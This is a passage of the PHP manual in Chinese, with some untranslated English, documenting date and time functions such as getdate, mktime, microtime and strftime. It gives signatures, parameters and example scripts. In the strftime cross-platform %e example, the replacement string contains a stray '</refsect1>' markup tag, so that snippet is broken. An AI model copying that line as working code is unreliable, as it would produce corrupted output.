  • mktime() - 取得一个日期的 Unix 时间戳
  • IntlDateFormatter::format() - Format the date/time value as a string
  • time() - 返回当前的 Unix 时间戳
  • 预定义 DateTime 常量

User Contributed Notes

There are no user contributed notes for this page.


获取日期/时间信息

  • ? date
  • gettimeofday ?
  • PHP Manual
  • Date/Time 函数
  • 获取日期/时间信息

getdate

(PHP 4, PHP 5, PHP 7, PHP 8)

getdate — 获取日期/时间信息

说明

getdate(?int $timestamp = null): array

返回关联 array，包含 timestamp 或者当前本地时间（如果省略 timestamp 或为 null）的日期信息。

参数

timestamp

可选的 timestamp 参数是一个 int 的 Unix 时间戳，如未指定或是 null，参数值默认为当前本地时间。也就是说，其值默认为 time() 的返回值。

返回值

返回关联 array，包含 timestamp 相关信息。返回的关联数组中的元素如下：

返回的关联数组中的键元素
键名 | 说明 | 返回值例子
"seconds" | 秒的数字表示 | 0 到 59
"minutes" | 分钟的数字表示 | 0 到 59
"hours" | 小时的数字表示 | 0 到 23
"mday" | 月份中第几天的数字表示 | 1 到 31
"wday" | 星期几的数字表示 | 0（周日）到 6（周六）
"mon" | 月份的数字表示 | 1 到 12
"year" | 4 位数字表示的完整年份 | 比如： 1999 或 2003
"yday" | 一年中第几天的数字表示 | 0 到 365
"weekday" | 星期几的完整文本表示 | Sunday 到 Saturday
"month" | 月份的完整文本表示，比如 January 或 March | January 到 December
0 | 自从 Unix 纪元开始至今的秒数，和 time() 的返回值以及用于 date() 的值类似。 | 系统相关，通常从 -2147483648 到 2147483647。

更新日志

版本 | 说明
8.0.0 | 现在 timestamp 允许为 null。

示例

Example #1 getdate() 例子

<?php
$today = getdate();
print_r($today);
?>

以上示例的输出类似于：

Array
(
    [seconds] => 40
    [minutes] => 58
    [hours]   => 21
    [mday]    => 17
    [wday]    => 2
    [mon]     => 6
    [year]    => 2003
    [yday]    => 167
    [weekday] => Tuesday
    [month]   => June
    [0]       => 1055901520
)

参见

  • date() - 格式化 Unix 时间戳
  • idate() - 将本地日期/时间格式化为整数
  • localtime() - 取得本地时间
  • time() - 返回当前的 Unix 时间戳
  • setlocale() - 设置区域信息

User Contributed Notes

There are no user contributed notes for this page.


取得当前时间

  • ? getdate
  • gmdate ?
  • PHP Manual
  • Date/Time 函数
  • 取得当前时间

gettimeofday

(PHP 4, PHP 5, PHP 7, PHP 8)

gettimeofday — 取得当前时间

说明

gettimeofday(bool $as_float = false): array|float

本函数是 gettimeofday(2) 的接口。返回一个关联数组，包含有系统调用返回的数据。

参数

as_float

当其设为 true 时，会返回浮点数而不是数组。

返回值

默认返回 array。如果设置了 as_float 则会返回 float。

数组中的键为：

  • "sec" - 自 Unix 纪元起的秒数
  • "usec" - 微秒数
  • "minuteswest" - 格林威治向西的分钟数
  • "dsttime" - 夏令时修正的类型

示例

Example #1 gettimeofday() 例子

<?php
print_r(gettimeofday());

echo gettimeofday(true);
?>

以上示例的输出类似于：

Array
(
    [sec] => 1073504408
    [usec] => 238215
    [minuteswest] => 0
    [dsttime] => 1
)

1073504408.23910

User Contributed Notes

There are no user contributed notes for this page.


格式化 GMT/UTC 日期／时间

  • ? gettimeofday
  • gmmktime ?
  • PHP Manual
  • Date/Time 函数
  • 格式化 GMT/UTC 日期／时间

gmdate

(PHP 4, PHP 5, PHP 7, PHP 8)

gmdate — 格式化 GMT/UTC 日期／时间

说明

gmdate(string $format, ?int $timestamp = null): string

同 date() 函数一样，只是返回的时间是格林威治标准时（GMT）。

参数

format

输出日期 string 的格式。参阅 date() 函数格式化选项。

timestamp

可选的 timestamp 参数是一个 int 的 Unix 时间戳，如未指定或是 null，参数值默认为当前本地时间。也就是说，其值默认为 time() 的返回值。

返回值

返回格式化的日期字符串。

更新日志

版本 | 说明
8.0.0 | 现在 timestamp 允许为 null。

示例

Example #1 gmdate() 示例

在芬兰（GMT +0200）运行时，下面的第一行打印"Jan 01 1998 00:00:00"，第二行打印"Dec 31 1997 22:00:00"。

<?php
echo date("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
echo gmdate("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
?>

参见

  • DateTimeImmutable::__construct() - Returns new DateTimeImmutable object
  • DateTimeInterface::format() - 按照指定格式返回格式化后的日期
  • date() - 格式化 Unix 时间戳
  • mktime() - 取得一个日期的 Unix 时间戳
  • gmmktime() - 取得 GMT 日期的 UNIX 时间戳
  • IntlDateFormatter::format() - Format the date/time value as a string

User Contributed Notes

There are no user contributed notes for this page.


取得 GMT 日期的 UNIX 时间戳

  • ? gmdate
  • gmstrftime ?
  • PHP Manual
  • Date/Time 函数
  • 取得 GMT 日期的 UNIX 时间戳

gmmktime

(PHP 4, PHP 5, PHP 7, PHP 8)

gmmktime — 取得 GMT 日期的 UNIX 时间戳

说明

gmmktime(
int $hour,
?int $minute = null,
?int $second = null,
?int $month = null,
?int $day = null,
?int $year = null
): int|false

和 mktime() 相同，但传递的参数是 GMT 日期。 gmmktime() internally uses mktime() so only times valid in derived local time can be used.

和 mktime() 一样，可选参数可以从右到左的顺序省略，省略的参数会被设为当前对应的 GMT 值。

不再支持不带参数调用 gmmktime()，并会导致 ArgumentCountError。 time() 可用于获取当前时间戳。

参数

hour

相对于一天开始的小时数，由 month、day 和 year 确定。负值是指当天零点前的小时。值大于 23 是指接下来几天的适当小时。

minute

相对于 hour 开始的分钟数。负值指的是上个小时的分钟。大于 59 的值将指向接下来几个小时的适当分钟。

second

相对于 minute 开始的秒数。负值是指前一分钟的秒数。大于 59 的值是指接下来几分钟的适当秒。

month

相对于去年年底的月份数。值 1 到 12 是指相关年份的正常日历月份。小于 1 的值（包括负值）按相反的顺序指向去年的月份，因此 0 是 12 月，-1 是 11 月，以此类推。值大于 12 是指接下来几年的适当月份。

day

相对于上个月月底的天数。值 1 到 28、29、30 或 31（取决于月份）是指相关月份的正常天数。小于 1 的值（包括负值）是指上个月的天数，因此 0 是上个月的最后一天，-1 是倒数第二天，以此类推。大于相关月份天数的值是指接下来几个月的适当某一天。

year

年份

返回值

成功时返回 int Unix 时间戳，如果时间戳不适合 PHP 整数则返回 false。

更新日志

版本 | 说明
8.0.0 | hour 不再可选。如果需要获取 Unix 时间戳，可以使用 time()。
8.0.0 | 现在 minute、second、month、day 和 year 可以为 null。

示例

Example #1 gmmktime() 基础示例

<?php
// 打印： July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", gmmktime(0, 0, 0, 7, 1, 2000));
?>

参见

  • DateTimeImmutable 类
  • mktime() - 取得一个日期的 Unix 时间戳
  • date() - 格式化 Unix 时间戳
  • time() - 返回当前的 Unix 时间戳

User Contributed Notes

There are no user contributed notes for this page.


根据区域设置格式化 GMT/UTC 时间/日期

  • ? gmmktime
  • idate ?
  • PHP Manual
  • Date/Time 函数
  • 根据区域设置格式化 GMT/UTC 时间/日期

gmstrftime

(PHP 4, PHP 5, PHP 7, PHP 8)

gmstrftime — 根据区域设置格式化 GMT/UTC 时间/日期

Warning

该函数自 PHP 8.1 起弃用。强烈建议不要依赖此函数。

此函数可以使用如下替代：

  • gmdate()
  • IntlDateFormatter::format()

说明

gmstrftime(string $format, ?int $timestamp = null): string|false

行为和 strftime() 相同，只是返回的时间是格林威治标准时（GMT）。例如，在东部标准时（EST，GMT -0500）运行时，下面第一行显示"Dec 31 1998 20:00:00"，而第二行显示"Jan 01 1999 01:00:00"。

Warning

此函数依赖于操作系统区域设置信息，这些信息可能彼此不一致，或者根本不能用。而是使用 IntlDateFormatter::format() 方法。

参数

format

See description in strftime().

timestamp

可选的 timestamp 参数是一个 int 的 Unix 时间戳，如未指定或是 null，参数值默认为当前本地时间。也就是说，其值默认为 time() 的返回值。

返回值

Returns a string formatted according to the given format string using the given timestamp or the current local time if no timestamp is given. Month and weekday names and other language dependent strings respect the current locale set with setlocale(). On failure, false is returned.

更新日志

版本 | 说明
8.0.0 | 现在 timestamp 允许为 null。

示例

Example #1 gmstrftime() 例子

<?php
setlocale(LC_TIME, 'en_US');
echo strftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
echo gmstrftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
?>

参见

  • IntlDateFormatter::format() - Format the date/time value as a string
  • DateTimeInterface::format() - 按照指定格式返回格式化后的日期
  • strftime() - 根据区域设置格式化本地时间/日期

User Contributed Notes

There are no user contributed notes for this page.


将本地日期/时间格式化为整数

  • ? gmstrftime
  • localtime ?
  • PHP Manual
  • Date/Time 函数
  • 将本地日期/时间格式化为整数

idate

(PHP 5, PHP 7, PHP 8)

idate — 将本地日期/时间格式化为整数

说明

idate(string $format, ?int $timestamp = null): int|false

使用明确的 int 类型 timestamp 或者当前本地时间（如果没有明确时间戳），根据明确的格式化字符串返回格式化后的数字。换句话说，timestamp 是可选的，默认值是 time() 的值。

跟 date() 不同，idate() 只接受一个字符作为 format 的参数。

参数

format

format 参数字符串仅识别以下字符
format 字符 | 说明
B | Swatch Beat/互联网时间
d | 月份中的第几天
h | 小时（12 小时制）
H | 小时（24 小时制）
i | 分钟
I（大写 i） | 如果启用夏令时则返回 1，否则返回 0
L（大写 l） | 如果是闰年则返回 1，否则返回 0
m | 月份的数字
N | ISO-8601 格式的周几（1 表示周一到 7 表示周日）
o | ISO-8601 格式的年份（4位）
s | 秒数
t | 本月的总天数
U | 自 Unix 纪元（January 1 1970 00:00:00 GMT）起的秒数——这和 time() 相同
w | 周几（0 是周日）
W | ISO-8601 格式的年份中第几个星期，每星期从星期一开始
y | 年份（1 或 2 位数字——见下面说明）
Y | 年份（4 位数字）
z | 年份中的第几天
Z | 以秒为单位的时差

timestamp

可选的 timestamp 参数是一个 int 的 Unix 时间戳，如未指定或是 null，参数值默认为当前本地时间。也就是说，其值默认为 time() 的返回值。

返回值

成功时返回 int， 或者在失败时返回 false。

由于 idate() 始终返回不以"0"开头的 int，因此 idate() 返回的数字可能位数要比期望的小。查看以下示例。

错误／异常

在每次调用日期/时间函数时，如果时区无效则会引发 E_NOTICE 错误。参见 date_default_timezone_set()。

更新日志

版本 | 说明
8.2.0 | 添加 N（ISO-8601 格式的周几）和 o（ISO-8601 格式的年份）格式字符。
8.0.0 | 现在 timestamp 允许为 null。

示例

Example #1 idate() example

<?php
$timestamp = strtotime('1st January 2004'); //1072915200

// 下面以两位数字格式打印年份，但是因为
// 以"0"打头，因此只会打印"4"
echo idate('y', $timestamp);
?>

参见

  • DateTimeInterface::format() - 按照指定格式返回格式化后的日期
  • date() - 格式化 Unix 时间戳
  • getdate() - 获取日期/时间信息
  • time() - 返回当前的 Unix 时间戳

User Contributed Notes

There are no user contributed notes for this page.


取得本地时间

  • ? idate
  • microtime ?
  • PHP Manual
  • Date/Time 函数
  • 取得本地时间

localtime

(PHP 4, PHP 5, PHP 7, PHP 8)

localtime — 取得本地时间

说明

localtime(?int $timestamp = null, bool $associative = false): array

localtime() 函数返回和 C 函数调用返回的结构相同数组。

参数

timestamp

可选的 timestamp 参数是一个 int 的 Unix 时间戳，如未指定或是 null，参数值默认为当前本地时间。也就是说，其值默认为 time() 的返回值。

associative

确定函数应该返回常规的数字索引数组还是关联数组。

返回值

如果 associative 设为 false 或未提供则返回的是普通的数字索引数组。如果 associative 设为 true 则 localtime() 返回关联数组，其中包含所有从 C 函数调用 localtime 结构元素。关联数组中键如下：

  • "tm_sec" - 秒数，0 到 59
  • "tm_min" - 分钟数，0 到 59
  • "tm_hour" - 小时，0 到 23
  • "tm_mday" - 月份中的第几日，1 到 31
  • "tm_mon" - 年份中的第几个月，0 (Jan) 到 11 (Dec)
  • "tm_year" - 年份，从 1900 开始
  • "tm_wday" - 星期中的第几天，0 (Sun) 到 6 (Sat)
  • "tm_yday" - 一年中的第几天，0 到 365
  • "tm_isdst" - 夏令时当前是否生效？ 如果是生效的是正数， 0 代表未生效，负数代表未知。

错误／异常

在每次调用日期/时间函数时，如果时区无效则会引发 E_NOTICE 错误。参见 date_default_timezone_set()。

更新日志

版本 | 说明
8.0.0 | 现在 timestamp 可为 null。

示例

Example #1 localtime() 例子

<?php
$localtime = localtime();
$localtime_assoc = localtime(time(), true);
print_r($localtime);
print_r($localtime_assoc);
?>

以上示例的输出类似于：

Array
(
    [0] => 24
    [1] => 3
    [2] => 19
    [3] => 3
    [4] => 3
    [5] => 105
    [6] => 0
    [7] => 92
    [8] => 1
)

Array
(
    [tm_sec] => 24
    [tm_min] => 3
    [tm_hour] => 19
    [tm_mday] => 3
    [tm_mon] => 3
    [tm_year] => 105
    [tm_wday] => 0
    [tm_yday] => 92
    [tm_isdst] => 1
)

参见

  • getdate() - 获取日期/时间信息

User Contributed Notes

There are no user contributed notes for this page.


返回当前 Unix 时间戳和微秒数

  • ? localtime
  • mktime ?
  • PHP Manual
  • Date/Time 函数
  • 返回当前 Unix 时间戳和微秒数

microtime

(PHP 4, PHP 5, PHP 7, PHP 8)

microtime — 返回当前 Unix 时间戳和微秒数

说明

microtime(bool $as_float = false): string|float

microtime() 返回当前 Unix 时间戳以及微秒数。本函数仅在支持 gettimeofday() 系统调用的操作系统下可用。

对于性能测量，建议使用 hrtime()。

参数

as_float

如果使用并设置为 true，microtime() 将返回浮点数而不是字符串，具体查看下面的返回值相关描述。

返回值

默认情况下，microtime() 返回"msec sec"形式的 string，其中 sec 是自 Unix 纪元（格林威治标准时间 1970 年 1 月 1 日 0:00:00）以来的秒数，msec 是自 sec 以来经过的微秒，表示为秒数的小数部分。

如果 as_float 设置为 true，然后 microtime() 返回 float，表示自 Unix 纪元以来的当前时间，以秒为单位，精确到最接近的微秒。

示例

Example #1 计时脚本执行时间

<?php
$time_start = microtime(true);

// Sleep 一会
usleep(100);

$time_end = microtime(true);
$time = $time_end - $time_start;

echo "Did nothing in $time seconds\n";
?>

Example #2 microtime() 和 REQUEST_TIME_FLOAT

<?php
// 随机 sleep 时间
usleep(mt_rand(100, 10000));

// 在 $_SERVER 超全局数组中 REQUEST_TIME_FLOAT 是有效的。
// 包含请求开始的时间戳，精度为微秒。
$time = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];

echo "Did nothing in $time seconds\n";
?>

参见

  • time() - 返回当前的 Unix 时间戳
  • hrtime() - 获取系统的高精度时间

User Contributed Notes

There are no user contributed notes for this page.


取得一个日期的 Unix 时间戳

  • ? microtime
  • strftime ?
  • PHP Manual
  • Date/Time 函数
  • 取得一个日期的 Unix 时间戳

mktime

(PHP 4, PHP 5, PHP 7, PHP 8)

mktime — 取得一个日期的 Unix 时间戳

说明

mktime(
int $hour,
?int $minute = null,
?int $second = null,
?int $month = null,
?int $day = null,
?int $year = null
): int|false

根据给出的参数返回 Unix 时间戳。时间戳是一个长整数，包含了从 Unix 纪元（January 1 1970 00:00:00 GMT）到给定时间的秒数。

任何可选或为 null 的参数都将根据本地日期和时间设置为当前值。

Warning

请注意，参数的顺序是很奇怪：month、day、year，而不是更合理的 year、month、day 顺序。

不带参数调用 mktime() 已经不受支持，会导致 ArgumentCountError。 time() 可以用来获取当前时间戳。

参数

hour

相对于一天开始的小时数，由 month、day 和 year 确定。负值是指当天零点前的小时。值大于 23 是指接下来几天的适当小时。

minute

相对于 hour 开始的分钟数。负值指的是上个小时的分钟。大于 59 的值将指向接下来几个小时的适当分钟。

second

相对于 minute 开始的秒数。负值是指前一分钟的秒数。大于 59 的值是指接下来几分钟的适当秒。

month

相对于去年年底的月份数。值 1 到 12 是指相关年份的正常日历月份。小于 1 的值（包括负值）按相反的顺序指向去年的月份，因此 0 是 12 月，-1 是 11 月，以此类推。值大于 12 是指接下来几年的适当月份。

day

相对于上个月月底的天数。值 1 到 28、29、30 或 31（取决于月份）是指相关月份的正常天数。小于 1 的值（包括负值）是指上个月的天数，因此 0 是上个月的最后一天，-1 是倒数第二天，以此类推。大于相关月份天数的值是指接下来几个月的适当某一天。

year

年份数，可以是两位或四位数字，0-69 对应于 2000-2069，70-100 对应于 1970-2000。在如今系统中普遍把 time_t 作为一个 32 位有符号整数的情况下，year 的合法范围是 1901 到 2038 之间。

返回值

mktime() 根据给出的参数返回 Unix 时间戳，如果时间戳不适合 PHP 整数则返回 false。

更新日志

版本 | 说明
8.0.0 | hour 不再可选。如果需要 Unix 时间戳，可以使用 time()。
8.0.0 | 现在 minute、second、month、day 和 year 允许为 null。

示例

Example #1 基本例子

<?php
// 设置使用的默认时区。
date_default_timezone_set('UTC');

// 打印：July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

// 打印类似的东西：2006-04-05T01:02:03+00:00
echo date('c', mktime(1, 2, 3, 4, 5, 2006));
?>

Example #2 mktime() 例子

mktime() 在做日期计算和验证方面很有用，它会自动计算超出范围的输入的正确值。例如下面例子中每一行都会产生字符串 "Jan-01-1998"。

<?php
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 13, 1, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 1998));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 98));
?>

Example #3 下个月的最后一天

任何给定月份的最后一天都可以被表示为下个月的第 "0" 天，而不是 -1 天。下面两个例子都会产生字符串 "The last day in Feb 2000 is: 29"。

<?php
$lastday = mktime(0, 0, 0, 3, 0, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
$lastday = mktime(0, 0, 0, 4, -31, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
?>

参见

  • DateTimeImmutable 类
  • checkdate() - 验证一个格里高里日期
  • gmmktime() - 取得 GMT 日期的 UNIX 时间戳
  • date() - 格式化 Unix 时间戳
  • time() - 返回当前的 Unix 时间戳

User Contributed Notes

There are no user contributed notes for this page.


根据区域设置格式化本地时间/日期

  • ? mktime
  • strptime ?
  • PHP Manual
  • Date/Time 函数
  • 根据区域设置格式化本地时间/日期

strftime

(PHP 4, PHP 5, PHP 7, PHP 8)

strftime — 根据区域设置格式化本地时间/日期

Warning

该函数自 PHP 8.1 起弃用。强烈建议不要依赖此函数。

此函数可以使用如下替代：

  • date()
  • IntlDateFormatter::format()

说明

strftime(string $format, ?int $timestamp = null): string|false

返回用给定的格式字串对给出的 timestamp 进行格式输出后的字符串。如果没有给出时间戳则用当前的本地时间。月份和星期几以及其它和语言有关的字符串写法和用 setlocale() 设定的当前的区域有关。

Warning

可能不是所有的转换标记都被 C 库文件支持，这种情况下 PHP 的 strftime() 也不支持。此外，不是所有的平台都支持负的时间戳，因此日期的范围可能限定在不早于 Unix 纪元。这意味着例如 %e, %T，%R 和 %D（可能更多）以及早于 Jan 1, 1970 的时间在 Windows，一些 Linux 发行版本，以及其它几个操作系统中无效。对于 Windows 系统，所支持的转换标记可在 » MSDN 网站找到。 Instead use the IntlDateFormatter::format() method.

参数

format

format 里能够识别的格式字串有以下标记：
格式 | 描述 | 返回值示例
日 --- ---
%a | 当前区域星期几的简写 | Sun 到 Sat
%A | 当前区域星期几的全称 | Sunday 到 Saturday
%d | 月份中的第几天，十进制数字（范围从 01 到 31） | 01 到 31
%e | 月份中的第几天，十进制数字，一位的数字前会加上一个空格（范围从 ' 1' 到 '31'） 在 Windows 上尚未按描述实现。更多信息见下方。 | 1 到 31
%j | 年份中的第几天，带前导零的三位十进制数（范围从 001 到 366） | 001 到 366
%u | 符合 ISO-8601 星期几的十进制数表达 [1,7]，1 表示星期一 | 1 (星期一) 到 7 (星期日)
%w | 星期中的第几天，星期天为 0 | 0 (星期天) 到 6 (星期六)
周 --- ---
%U | 本年的第几周，从第一周的第一个星期天作为第一天开始 | 13 (for the 13th full week of the year)
%V | %V - 本年第几周的 ISO-8601:1988 格式，范围从 01 到 53，第 1 周是本年第一个至少还有 4 天的星期，星期一作为每周的第一天。（用 %G 或者 %g 作为指定时间戳相应周数的年份组成。） | 01 到 53 (where 53 accounts for an overlapping week)
%W | 本年的第几周数，从第一周的第一个星期一作为第一天开始 | 46 (for the 46th week of the year beginning with a Monday)
月 --- ---
%b | 当前区域月份的简写 | Jan 到 Dec
%B | 当前区域月份的全称 | January 到 December
%h | 当前区域月份的简写（%b 的别名） | Jan 到 Dec
%m | 两位数的月份 | 01 (是一月份) 到 12 (是十二月份)
年 --- ---
%C | 两位数显示世纪（年份除以 100，截成整数） | 19 是 20 世纪
%g | 2 位数的年份，符合 ISO-8601:1988 星期数（参见 %V）。和 %V 的格式和值一样，只除了如果 ISO 星期数属于前一年或者后一年，则使用那一年。 | 比如：2009年1月6日那一周是 09。
%G | %g 的完整四位数版本 | 比如：2009年1月3日那一周是 2008.
%y | 两位数显示年份 | 比如： 09 是 2009，79 是 1979
%Y | 四位数显示年份 | 比如： 2038
时间 --- ---
%H | 以 24 小时格式显示两位小时数 | 00 到 23
%k | Hour in 24-hour format, with a space preceding single digits | 0 through 23
%I | 以 12 小时格式显示两位小时数 | 01 到 12
%l（'L' 的小写） | 以 12 小时格式显示小时数，单个数字前含空格 | 1 到 12
%M | 两位的分钟数 | 00 到 59
%p | 指定时间的大写 "AM" 或 "PM" | 比如： 00:31 是 AM ，22:23 是PM。The exact result depends on the Operating System, and they can also return lower-case variants, or variants with dots (such as a.m.).
%P | 指定时间的小写 "am" 或 "pm" | 比如：00:31 是 am ，22:23 是pm。Not supported by all Operating Systems.
%r | 和 "%I:%M:%S %p" 一样 | 比如： 21:34:17 是 09:34:17 PM
%R | 和 "%H:%M" 一样 | 比如： 12:35 AM 是 00:35，4:44 PM 是 16:44
%S | 两位数字表示秒 | 00 到 59
%T | 和 "%H:%M:%S" 一样 | 比如： 09:34:17 PM 是 21:34:17
%X | 当前区域首选的时间表示法，不包括日期 | 例如： 03:59:16 或 15:59:16
%z | The time zone offset. Not implemented as described on Windows. See below for more information. | Example: -0500 for US Eastern Time
%Z | The time zone abbreviation. Not implemented as described on Windows. See below for more information. | Example: EST for Eastern Time
时间和日期戳 --- ---
%c | 当前区域设置首选的日期时间表达 | 比如： 2009 年 2 月 5 日上午 12:45:10 是 Tue Feb 5 00:45:10 2009
%D | 和 "%m/%d/%y" 一样 | 比如： 2009 年 2 月 5 日是 02/05/09
%F | Same as "%Y-%m-%d" (commonly used in database datestamps) | 比如：2009 年 2 月 5 日是 2009-02-05
%s | Unix纪元的时间戳（和 time() 函数一样） | 比如： 1979 年 9 月 10 日上午 8 点 40 分 00 秒是 305815200
%x | 当前区域首选的时间表示法，不包括时间 | 比如： 2009 年 2 月 5 日是 02/05/09
其他 --- ---
%n 换行符("\n") ---
%t Tab 字符("\t") ---
%% 文字上的百分字符("%") ---

Warning

尽管 ISO 9889:1999（当前的 C 标准）明确指出一周从星期一开始，但是 Sun Solaris 的一周似乎从星期天开始并作为 1。所以 %u 的结果也许不会和手册里描述得一样。

Warning

仅针对 Windows：

这个函数里 %e 修饰符修饰符还不能支持 Windows。为了得到这个值可以用 %#d 修饰符来代替。下例说明了如何写一个跨平台支持的函数。

The %z and %Z modifiers both return the time zone name instead of the offset or abbreviation.

Warning

仅针对 macOS 和 musl：这个函数里 %P 修饰符还不能支持 macOS。

timestamp

可选的 timestamp 参数是一个 int 的 Unix 时间戳，如未指定或是 null，参数值默认为当前本地时间。也就是说，其值默认为 time() 的返回值。

返回值

根据指定的 timestamp 或未给出 timestamp 是使用当前本地时间， 返回 format 格式化的字符。 月份、星期名和其他与语言相关的字符串遵守 setlocale() 设置的当前区域设置。 The function returns false if format is empty, contains unsupported conversion specifiers, or if the length of the returned string would be greater than 4095.

错误／异常

在每次调用日期/时间函数时，如果时区无效则会引发 E_NOTICE 错误。参见 date_default_timezone_set()。

由于输出依赖于 C 库，所以一些转换标记并不被支持。 在 Windows 上，使用未知的转换标记将导致 5 E_WARNING 信息，并返回 false。 在其他的操作系统上，你可能不能得到任何 E_WARNING 信息， 并且可能输出未经转换的转换标记。

更新日志

版本 | 说明
8.0.0 | timestamp is nullable now.

示例

如果你的系统里安装了各自的语言环境则下例能够正常运行。

Example #1 strftime() 区域的例子

<?php
setlocale(LC_TIME, "C");
echo strftime("%A");
setlocale(LC_TIME, "fi_FI");
echo strftime(" in Finnish is %A,");
setlocale(LC_TIME, "fr_FR");
echo strftime(" in French %A and");
setlocale(LC_TIME, "de_DE");
echo strftime(" in German %A.\n");
?>

Example #2 ISO 8601:1988 week number example

<?php
/* December 2002 / January 2003
ISOWk M Tu W Thu F Sa Su
----- ----------------------------
51 16 17 18 19 20 21 22
52 23 24 25 26 27 28 29
1 30 31 1 2 3 4 5
2 6 7 8 9 10 11 12
3 13 14 15 16 17 18 19 */

// 输出： 12/28/2002 - %V,%G,%Y = 52,2002,2002
echo "12/28/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/28/2002")) . "\n";

// 输出： 12/30/2002 - %V,%G,%Y = 1,2003,2002
echo "12/30/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/30/2002")) . "\n";

// 输出： 1/3/2003 - %V,%G,%Y = 1,2003,2003
echo "1/3/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2003")) . "\n";

// 输出： 1/10/2003 - %V,%G,%Y = 2,2003,2003
echo "1/10/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/10/2003")) . "\n";

/* December 2004 / January 2005
ISOWk M Tu W Thu F Sa Su
----- ----------------------------
51 13 14 15 16 17 18 19
52 20 21 22 23 24 25 26
53 27 28 29 30 31 1 2
1 3 4 5 6 7 8 9
2 10 11 12 13 14 15 16 */

// 输出： 12/23/2004 - %V,%G,%Y = 52,2004,2004
echo "12/23/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/23/2004")) . "\n";

// 输出： 12/31/2004 - %V,%G,%Y = 53,2004,2004
echo "12/31/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/31/2004")) . "\n";

// 输出： 1/2/2005 - %V,%G,%Y = 53,2004,2005
echo "1/2/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/2/2005")) . "\n";

// 输出： 1/3/2005 - %V,%G,%Y = 1,2005,2005
echo "1/3/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2005")) . "\n";

?>

Example #3 %e 修改器跨平台兼容的例子

<?php

// Jan 1: results in: '%e%1%' (%%, e, %%, %e, %%)
$format = '%%e%%%e%%';

// Check for Windows to find and replace the %e
// modifier correctly
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
$format = preg_replace('#(?<!%)((?:%%)*)%e#', '</refsect1>%#d', $format);
}

echo strftime($format);
?>

Example #4 显示所有已知和未知的格式

<?php
// Describe the formats.
$strftimeFormats = array(
'A' => 'A full textual representation of the day',
'B' => 'Full month name, based on the locale',
'C' => 'Two digit representation of the century (year divided by 100, truncated to an integer)',
'D' => 'Same as "%m/%d/%y"',
'E' => '',
'F' => 'Same as "%Y-%m-%d"',
'G' => 'The full four-digit version of %g',
'H' => 'Two digit representation of the hour in 24-hour format',
'I' => 'Two digit representation of the hour in 12-hour format',
'J' => '',
'K' => '',
'L' => '',
'M' => 'Two digit representation of the minute',
'N' => '',
'O' => '',
'P' => 'lower-case "am" or "pm" based on the given time',
'Q' => '',
'R' => 'Same as "%H:%M"',
'S' => 'Two digit representation of the second',
'T' => 'Same as "%H:%M:%S"',
'U' => 'Week number of the given year, starting with the first Sunday as the first week',
'V' => 'ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week',
'W' => 'A numeric representation of the week of the year, starting with the first Monday as the first week',
'X' => 'Preferred time representation based on locale, without the date',
'Y' => 'Four digit representation for the year',
'Z' => 'The time zone offset/abbreviation option NOT given by %z (depends on operating system)',
'a' => 'An abbreviated textual representation of the day',
'b' => 'Abbreviated month name, based on the locale',
'c' => 'Preferred date and time stamp based on local',
'd' => 'Two-digit day of the month (with leading zeros)',
'e' => 'Day of the month, with a space preceding single digits',
'f' => '',
'g' => 'Two digit representation of the year going by ISO-8601:1988 standards (see %V)',
'h' => 'Abbreviated month name, based on the locale (an alias of %b)',
'i' => '',
'j' => 'Day of the year, 3 digits with leading zeros',
'k' => 'Hour in 24-hour format, with a space preceding single digits',
'l' => 'Hour in 12-hour format, with a space preceding single digits',
'm' => 'Two digit representation of the month',
'n' => 'A newline character ("\n")',
'o' => '',
'p' => 'UPPER-CASE "AM" or "PM" based on the given time',
'q' => '',
'r' => 'Same as "%I:%M:%S %p"',
's' => 'Unix Epoch Time timestamp',
't' => 'A Tab character ("\t")',
'u' => 'ISO-8601 numeric representation of the day of the week',
'v' => '',
'w' => 'Numeric representation of the day of the week',
'x' => 'Preferred date representation based on locale, without the time',
'y' => 'Two digit representation of the year',
'z' => 'Either the time zone offset from UTC or the abbreviation (depends on operating system)',
'%' => 'A literal percentage character ("%")',
);

// Results.
$strftimeValues = array();

// Evaluate the formats whilst suppressing any errors.
foreach($strftimeFormats as $format => $description){
if (False !== ($value = @strftime("%{$format}"))){
$strftimeValues[$format] = $value;
}
}

// Find the longest value.
$maxValueLength = 2 + max(array_map('strlen', $strftimeValues));

// Report known formats.
foreach($strftimeValues as $format => $value){
echo "Known format : '{$format}' = ", str_pad("'{$value}'", $maxValueLength), " ( {$strftimeFormats[$format]} )\n";
}

// Report unknown formats.
foreach(array_diff_key($strftimeFormats, $strftimeValues) as $format => $description){
echo "Unknown format : '{$format}' ", str_pad(' ', $maxValueLength), ($description ? " ( {$description} )" : ''), "\n";
}
?>

以上示例的输出类似于：

Known format   : 'A' = 'Friday'            ( A full textual representation of the day )
Known format   : 'B' = 'December'          ( Full month name, based on the locale )
Known format   : 'H' = '11'                ( Two digit representation of the hour in 24-hour format )
Known format   : 'I' = '11'                ( Two digit representation of the hour in 12-hour format )
